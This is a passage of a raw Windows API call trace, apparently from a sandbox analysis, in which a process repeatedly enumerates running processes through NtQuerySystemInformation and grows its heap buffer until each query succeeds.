SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.609] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.612] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.613] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.614] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.614] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.615] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.616] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.616] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.617] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.618] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.618] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.619] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.620] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.620] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.621] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.622] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.623] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.623] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.625] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0195.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.625] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0195.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.626] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0195.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.627] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0195.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.628] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0195.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.629] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0195.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.630] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0195.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.631] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0195.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.631] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0195.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.632] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0195.633] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.633] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0195.634] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.634] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0195.634] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.635] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0195.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.636] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0195.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.637] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0195.637] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.637] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.638] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.639] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.639] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.640] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x431fa6f0 [0195.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.641] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2757c) returned 0x431fa6f0 [0195.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.642] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x285a0) returned 0x431fa6f0 [0195.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.643] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x295c4) returned 0x431fa6f0 [0195.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.644] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.645] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.645] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.646] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.750] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.753] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.754] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.754] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.755] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.756] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.756] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.757] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.758] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.758] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.759] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.760] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.760] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.761] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.762] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.763] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.763] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.765] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.765] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0195.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.766] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0195.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.767] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0195.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.768] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0195.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.769] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0195.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.769] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0195.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.770] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0195.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.771] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0195.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.772] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0195.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.773] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0195.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.774] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0195.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.774] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0195.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.775] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0195.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.776] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0195.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.777] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0195.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.778] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.779] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.779] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.780] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x431fa6f0 [0195.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.781] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2757c) returned 0x431fa6f0 [0195.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.783] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x285a0) returned 0x431fa6f0 [0195.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.784] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x295c4) returned 0x431fa6f0 [0195.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.785] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.785] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.786] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.787] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.890] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.892] NtQuerySystemInformation 